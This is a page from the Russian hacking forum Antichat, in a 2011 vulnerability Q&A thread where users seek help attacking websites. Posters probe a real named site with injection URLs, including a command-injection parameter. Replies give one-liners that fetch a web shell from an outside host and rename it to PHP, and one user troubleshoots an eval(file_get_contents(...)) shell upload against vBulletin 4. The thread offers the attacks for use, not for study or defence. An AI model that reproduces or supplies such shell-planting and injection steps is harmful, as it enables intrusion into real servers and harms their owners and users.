ANTICHAT Forum
HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
НОВЫЕ ТОРГОВАЯ НОВОСТИ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу Ваши вопросы по уязвимостям.
   
Ответ
Страница 1742 из 2422 « Первая < 7421242164216921732 1738 1739 1740 1741 1742 1743 1744 1745 1746 1752179218422242 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 28.07.2011, 11:51
d1v
Новичок
Регистрация: 21.02.2009
Сообщений: 3
С нами: 9061916

Репутация: 0
По умолчанию
Цитата:
Сообщение от foozzi  
на трекерном движке TBDev v2.0 Yuna Scatari Edition есть юзвер в таблице пользователей, при клике на него происходит алерт javascript: alert('надпись!'); это можно как то использовать в своих мерах?
нельзя. вот используй в своих мерах:

/thread79705.html
𝕏 Twitter Reddit Telegram Копировать ссылку
 
Ответить с цитированием

  #2  
Старый 28.07.2011, 12:20
eternal stud
Новичок
Регистрация: 02.06.2010
Сообщений: 0
С нами: 8390689

Репутация: 0
По умолчанию
Цитата:
Сообщение от Moriarty  
Судя по всему логин и пароль принимаются из $_REQUEST[], но режутся любые пробелы.
Через эту ошибку можно в базу залесть?
 
Ответить с цитированием

  #3  
Старый 28.07.2011, 12:30
M_script
Новичок
Регистрация: 04.11.2004
Сообщений: 5
С нами: 11322426

Репутация: 0
По умолчанию
Melfis, ничего не получится, скобки тоже фильтруются

http://mag.su/forum/login.php?sid=351f4eb4d8dbe4ea209f81a4e4bac4ff&use rname='0()'0&password=1
 
Ответить с цитированием

  #4  
Старый 28.07.2011, 15:11
eternal stud
Новичок
Регистрация: 02.06.2010
Сообщений: 0
С нами: 8390689

Репутация: 0
По умолчанию
Подскажите пожалуйста, а с этим можно чего-нить сделать? Это вообще уязвимость или нет? - http://mag.su/maglove/viewprofiles.php?sid=1&next=1'
 
Ответить с цитированием

  #5  
Старый 28.07.2011, 18:53
eternal stud
Новичок
Регистрация: 02.06.2010
Сообщений: 0
С нами: 8390689

Репутация: 0
По умолчанию
Как можно использовать это? http://mag.su/showimg.php?foto=;id;&width=$(w)&image=$(g)
 
Ответить с цитированием

  #6  
Старый 28.07.2011, 18:56
Konqi
Постоянный
Регистрация: 24.06.2009
Сообщений: 546
С нами: 8885780

Репутация: 672


По умолчанию
Цитата:
Сообщение от eternal stud  
eternal stud said:
Как можно использовать это? http://mag.su/showimg.php?foto=;id;&width=$(w)&image=$(g)
залей шелл через fetch )
 
Ответить с цитированием

  #7  
Старый 28.07.2011, 20:23
sevenup
Новичок
Регистрация: 04.10.2009
Сообщений: 5
С нами: 8738852

Репутация: 0
По умолчанию
Цитата:
Сообщение от eternal stud  
eternal stud said:
Как можно использовать это? http://mag.su/showimg.php?foto=;id;&width=$(w)&image=$(g)
fetch http://yousite.com/shell.txt; mv shell.txt shell.php;
 
Ответить с цитированием

  #8  
Старый 28.07.2011, 21:00
Cherep
Новичок
Регистрация: 30.05.2010
Сообщений: 10
С нами: 8395350

Репутация: 0
По умолчанию
При попытке залить шелл через eval(file_get_contents('http://site.com/shell.txt')); (vBulletin 4) вылетает вот какая ошибка:

http://pikucha.ru/i5NOd
 
Ответить с цитированием

  #9  
Старый 28.07.2011, 21:08
Expl0ited
Познавший АНТИЧАТ
Регистрация: 16.07.2010
Сообщений: 1,022
С нами: 8328566

Репутация: 935


По умолчанию
Цитата:
Сообщение от Cherep  
При попытке залить шелл через eval(file_get_contents('http://site.com/shell.txt')); (vBulletin 4) вылетает вот какая ошибка:
http://pikucha.ru/i5NOd
php интерпретатору не удалось получить информацию о удаленном хосте
 
Ответить с цитированием

  #10  
Старый 28.07.2011, 21:10
Cherep
Новичок
Регистрация: 30.05.2010
Сообщений: 10
С нами: 8395350

Репутация: 0
По умолчанию
Цитата:
Сообщение от Expl0ited  
php интерпретатору не удалось получить информацию о удаленном хосте
у меня какбы заходит спокойно по адресу шелла. И что делать?
 
Ответить с цитированием
Ответ
Страница 1742 из 2422 « Первая < 7421242164216921732 1738 1739 1740 1741 1742 1743 1744 1745 1746 1752179218422242 > Последняя »



Предыдущая тема Следующая тема
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 9 (пользователей: 0 , гостей: 9)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.